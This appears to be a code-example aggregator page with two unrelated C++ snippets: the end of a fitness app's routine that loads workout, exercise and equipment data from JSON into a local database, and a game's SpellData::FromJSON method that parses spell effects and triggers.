                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            
            const std::string& genderTableName = GymfitDBContract::GenderEntry::TABLE_NAME;
            if (root.find(genderTableName) != root.end() &&
                root[genderTableName]->IsArray())
            {
                JSONArray array = root[genderTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string genderStr = array[i]->Stringify();
                    LOGI(TAG, genderStr.c_str());
                    
                    JSONObject genderObject = array[i]->AsObject();
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(genderObject, GymfitDBContract::GenderEntry::COLUMN_GENDER_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::GenderEntry::TABLE_NAME,
                                                            values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& workoutTableName = GymfitDBContract::WorkoutEntry::TABLE_NAME;
            if (root.find(workoutTableName) != root.end() &&
                root[workoutTableName]->IsArray())
            {
                JSONArray array = root[workoutTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string workoutStr = array[i]->Stringify();
                    LOGI(TAG, workoutStr.c_str());
                    
                    JSONObject workoutObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseNumberKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_ID,columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_GENDER_TR, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_LEVEL_TR, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_TITLE_TR, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_AUTHOR_TR, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_SHORT_DESCRIPTION_TR, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_DESCRIPTION_TR, columnKeys, values);
                    parseNumberKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_TRANSLATABLE, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_IMAGE_KEY, columnKeys, values);
                    parseNumberKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_RATING, columnKeys, values);
                    parseNumberKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_GRADE, columnKeys, values);
                    parseNumberKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_DAYS_IN_WEEK, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_TYPE_TR, columnKeys, values);
                    parseStringKeyAndValue(workoutObject, GymfitDBContract::WorkoutEntry::COLUMN_GOAL_TR, columnKeys, values);
                    
                    if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& exserciseLevelTableName = GymfitDBContract::ExserciseLevelEntry::TABLE_NAME;
            if (root.find(exserciseLevelTableName) != root.end() &&
                root[exserciseLevelTableName]->IsArray())
            {
                JSONArray array = root[exserciseLevelTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string exserciseLevelStr = array[i]->Stringify();
                    LOGI(TAG, exserciseLevelStr.c_str());
                    
                    JSONObject exserciseLevelObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(exserciseLevelObject, GymfitDBContract::ExserciseLevelEntry::COLUMN_LEVEL_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::ExserciseLevelEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& exserciseTypeTableName = GymfitDBContract::ExserciseTypeEntry::TABLE_NAME;
            if (root.find(exserciseTypeTableName) != root.end() &&
                root[exserciseTypeTableName]->IsArray())
            {
                JSONArray array = root[exserciseTypeTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string exserciseTypeStr = array[i]->Stringify();
                    LOGI(TAG, exserciseTypeStr.c_str());
                    
                    JSONObject exserciseTypeObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(exserciseTypeObject, GymfitDBContract::ExserciseTypeEntry::COLUMN_TYPE_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::ExserciseTypeEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& equipmentName = GymfitDBContract::EquipmentEntry::TABLE_NAME;
            if (root.find(equipmentName) != root.end() &&
                root[equipmentName]->IsArray())
            {
                JSONArray array = root[equipmentName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string equipmentTypeStr = array[i]->Stringify();
                    LOGI(TAG, equipmentTypeStr.c_str());
                    
                    JSONObject equipmentTypeObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(equipmentTypeObject, GymfitDBContract::EquipmentEntry::COLUMN_EQUIPMENT_TR, columnKeys, values);
                    parseStringKeyAndValue(equipmentTypeObject, GymfitDBContract::EquipmentEntry::COLUMN_IMAGE_KEY, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::EquipmentEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& equipmentImageName = GymfitDBContract::EquipmentImageEntry::TABLE_NAME;
            if (root.find(equipmentImageName) != root.end() &&
                root[equipmentImageName]->IsArray())
            {
                JSONArray array = root[equipmentImageName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string equipmentImageStr = array[i]->Stringify();
                    LOGI(TAG, equipmentImageStr.c_str());
                    
                    JSONObject equipmentImageObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(equipmentImageObject, GymfitDBContract::EquipmentImageEntry::COLUMN_GENDER_TR, columnKeys, values);
                    parseStringKeyAndValue(equipmentImageObject, GymfitDBContract::EquipmentImageEntry::COLUMN_IMAGE_KEY, columnKeys, values);
                    parseStringKeyAndValue(equipmentImageObject, GymfitDBContract::EquipmentImageEntry::COLUMN_IMAGE_PATH, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::EquipmentImageEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& bodyPartTableName = GymfitDBContract::BodyPartEntry::TABLE_NAME;
            if (root.find(bodyPartTableName) != root.end() &&
                root[bodyPartTableName]->IsArray())
            {
                JSONArray array = root[bodyPartTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string bodyPartStr = array[i]->Stringify();
                    LOGI(TAG, bodyPartStr.c_str());
                    
                    JSONObject bodyPartObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(bodyPartObject, GymfitDBContract::BodyPartEntry::COLUMN_BODY_PART_TR, columnKeys, values);
                    parseStringKeyAndValue(bodyPartObject, GymfitDBContract::BodyPartEntry::COLUMN_IMAGE_KEY, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::BodyPartEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& bodyPartImageTableName = GymfitDBContract::BodyPartImageEntry::TABLE_NAME;
            if (root.find(bodyPartImageTableName) != root.end() &&
                root[bodyPartImageTableName]->IsArray())
            {
                JSONArray array = root[bodyPartImageTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string bodyPartImageStr = array[i]->Stringify();
                    LOGI(TAG, bodyPartImageStr.c_str());
                    
                    JSONObject bodyPartImageObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(bodyPartImageObject, GymfitDBContract::BodyPartImageEntry::COLUMN_GENDER_TR, columnKeys, values);
                    parseStringKeyAndValue(bodyPartImageObject, GymfitDBContract::BodyPartImageEntry::COLUMN_IMAGE_KEY, columnKeys, values);
                    parseStringKeyAndValue(bodyPartImageObject, GymfitDBContract::BodyPartImageEntry::COLUMN_IMAGE_PATH, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::BodyPartImageEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& exserciseTableName = GymfitDBContract::ExserciseEntry::TABLE_NAME;
            if (root.find(exserciseTableName) != root.end() &&
                root[exserciseTableName]->IsArray())
            {
                JSONArray array = root[exserciseTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string exserciseStr = array[i]->Stringify();
                    LOGI(TAG, exserciseStr.c_str());
                    
                    JSONObject exserciseObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseNumberKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_ID, columnKeys, values);
                    parseStringKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_TITLE_TR, columnKeys, values);
                    parseStringKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_IMAGE_KEY, columnKeys, values);
                    parseStringKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_TYPE_TR, columnKeys, values);
                    parseStringKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_LEVEL_TR, columnKeys, values);
                    parseStringKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_GENDER_TR, columnKeys, values);
                    parseStringKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_SHORT_DESCRIPTION_TR, columnKeys, values);
                    parseStringKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_DESCRIPTION_TR, columnKeys, values);
                    parseNumberKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_TRANSLATABLE, columnKeys, values);
                    parseNumberKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_RATING, columnKeys, values);
                    parseNumberKeyAndValue(exserciseObject, GymfitDBContract::ExserciseEntry::COLUMN_GRADE, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::ExserciseEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            const std::string& exserciseImageTableName = GymfitDBContract::ExserciseImageEntry::TABLE_NAME;
            if (root.find(exserciseImageTableName) != root.end() &&
                root[exserciseImageTableName]->IsArray())
            {
                JSONArray array = root[exserciseImageTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string exserciseImageStr = array[i]->Stringify();
                    LOGI(TAG, exserciseImageStr.c_str());
                    
                    JSONObject exserciseImageObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseStringKeyAndValue(exserciseImageObject, GymfitDBContract::ExserciseImageEntry::COLUMN_GENDER_TR, columnKeys, values);
                    parseStringKeyAndValue(exserciseImageObject, GymfitDBContract::ExserciseImageEntry::COLUMN_IMAGE_KEY, columnKeys, values);
                    parseStringKeyAndValue(exserciseImageObject, GymfitDBContract::ExserciseImageEntry::COLUMN_IMAGE_PATH, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::ExserciseImageEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& exserciseEquipmentTableName = GymfitDBContract::ExserciseEquipmentEntry::TABLE_NAME;
            if (root.find(exserciseEquipmentTableName) != root.end() &&
                root[exserciseEquipmentTableName]->IsArray())
            {
                JSONArray array = root[exserciseEquipmentTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string exserciseEquipmentStr = array[i]->Stringify();
                    LOGI(TAG, exserciseEquipmentStr.c_str());
                    
                    JSONObject exserciseEquipmentObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseNumberKeyAndValue(exserciseEquipmentObject, GymfitDBContract::ExserciseEquipmentEntry::COLUMN_EXSERCISE_ID, columnKeys, values);
                    parseStringKeyAndValue(exserciseEquipmentObject, GymfitDBContract::ExserciseEquipmentEntry::COLUMN_EQUIPMENT_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::ExserciseEquipmentEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            const std::string& exserciseBodyPartTableName = GymfitDBContract::ExserciseBodyPartEntry::TABLE_NAME;
            if (root.find(exserciseBodyPartTableName) != root.end() &&
                root[exserciseBodyPartTableName]->IsArray())
            {
                JSONArray array = root[exserciseBodyPartTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string exserciseBodyPartStr = array[i]->Stringify();
                    LOGI(TAG, exserciseBodyPartStr.c_str());
                    
                    JSONObject exserciseBodyPartObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseNumberKeyAndValue(exserciseBodyPartObject, GymfitDBContract::ExserciseBodyPartEntry::COLUMN_EXSERCISE_ID, columnKeys, values);
                    parseStringKeyAndValue(exserciseBodyPartObject, GymfitDBContract::ExserciseBodyPartEntry::COLUMN_BODY_PART_TR, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::ExserciseBodyPartEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
            
            const std::string& workoutExserciseTableName = GymfitDBContract::WorkoutExserciseEntry::TABLE_NAME;
            if (root.find(workoutExserciseTableName) != root.end() &&
                root[workoutExserciseTableName]->IsArray())
            {
                JSONArray array = root[workoutExserciseTableName]->AsArray();
                for (unsigned int i = 0; i < array.size(); i++)
                {
                    std::string workoutExserciseStr = array[i]->Stringify();
                    LOGI(TAG, workoutExserciseStr.c_str());
                    
                    JSONObject workoutExserciseObject = array[i]->AsObject();
                    
                    std::vector<std::string> columnKeys;
                    std::vector<std::string> values;
                    parseNumberKeyAndValue(workoutExserciseObject, GymfitDBContract::WorkoutExserciseEntry::COLUMN_EXSERCISE_ID, columnKeys, values);
                    parseNumberKeyAndValue(workoutExserciseObject, GymfitDBContract::WorkoutExserciseEntry::COLUMN_WORKOUT_ID, columnKeys, values);
                    parseStringKeyAndValue(workoutExserciseObject, GymfitDBContract::WorkoutExserciseEntry::COLUMN_DAY, columnKeys, values);
                    parseNumberKeyAndValue(workoutExserciseObject, GymfitDBContract::WorkoutExserciseEntry::COLUMN_QUEUE_NUMBER, columnKeys, values);
                    parseNumberKeyAndValue(workoutExserciseObject, GymfitDBContract::WorkoutExserciseEntry::COLUMN_COUNT_OF_ATTEMPTS, columnKeys, values);
                    parseNumberKeyAndValue(workoutExserciseObject, GymfitDBContract::WorkoutExserciseEntry::COLUMN_TIME_FOR_REST, columnKeys, values);
                    parseStringKeyAndValue(workoutExserciseObject, GymfitDBContract::WorkoutExserciseEntry::COLUMN_DESCRIPTION, columnKeys, values);
                    if(NativeDBController::insertIntoTable(GymfitDBContract::WorkoutExserciseEntry::TABLE_NAME,
                                                        values, columnKeys) == ResultCode::ERROR)
                    {
                        result = ResultCode::ERROR;
                    }
                }
                LOGI(TAG, "\r\n");
            }
        }
        delete value;
    }

    return result;
}
コード例 #15
0
ファイル: SpellData.cpp プロジェクト: metsfan/dungeon-raider
	void SpellData::FromJSON(JSONObject *object)
	{
		mId = UUID(object->getValue<std::string>("id"));
		mName = object->getValue<std::string>("name");
		mCastTime = object->getValue<int>("cast_time");
		mCooldown = object->getValue<int>("cooldown");
		mType = (SpellType) object->getValue<int>("spell_type");
		mCastType = (SpellCastType) object->getValue<int>("cast_type");
		mRadius = object->getValue<double>("spell_radius");
		mRange = object->getValue<double>("spell_range");
		mShape = (SpellShape) object->getValue<int>("shape");

		if (object->has("icon_url"))
		mIconURL = object->getValue<std::string>("icon_url");

		if (object->has("slot")) {
			mSlot = object->getValue<std::string>("slot");
		}

		if (object->has("class_id")) {
			int classId = object->getValue<int>("class_id");
			mCharClass.classId = classId;
			mCharClass.name = GetCharacterClassName((CharacterClass)classId);
		}

		JSONArray *effects = object->getArray("effects");
		for (int i = 0; i < effects->size(); i++) {
			JSONObject *effect = effects->getObject(i);
			SpellEffectData effectData;
			effectData.id = UUID(effect->getValue<std::string>("id"));
			effectData.spellId = UUID(effect->getValue<std::string>("spell_id"));
			effectData.effectType = (SpellEffectType) effect->getValue<int>("effect_type");
			effectData.percentSourceMin = effect->getValue<int>("percent_source_min");
			effectData.percentSourceMax = effect->getValue<int>("percent_source_max");
			effectData.flatAmountMin = effect->getValue<int>("flat_amount_min");
			effectData.flatAmountMax = effect->getValue<int>("flat_amount_max");
			effectData.dotDuration = effect->getValue<int>("dot_duration");
			effectData.dotTick = effect->getValue<int>("dot_tick");
			effectData.buffDuration = effect->getValue<int>("buff_duration");
			effectData.damageSource = (SpellDamageSource)effect->getValue<int>("damage_source");
			effectData.buffSource = (CharacterStatType)effect->getValue<int>("buff_source");
			effectData.mechanic = (SpellMechanic)effect->getValue<int>("mechanic");
			effectData.school = (SpellSchool) effect->getValue<int>("school");
			effectData.maxStacks = effect->getValue<int>("max_stacks");

			mEffects.push_back(effectData);
		}

		JSONArray *triggers = object->getArray("triggers");
		for (int i = 0; i < triggers->size(); i++) {
			JSONObject *trigger = triggers->getObject(i);
			SpellTriggerData triggerData;

			triggerData.id = UUID(trigger->getValue<std::string>("id"));
			triggerData.spellId = UUID(trigger->getValue<std::string>("spell_id"));
			triggerData.triggerSpellId = UUID(trigger->getValue<std::string>("trigger_spell_id"));
			triggerData.chance = trigger->getValue<double>("chance");
			triggerData.triggerType = (TriggerType) trigger->getValue<int>("trigger_type");
			
			mTriggers.push_back(triggerData);
		}

	}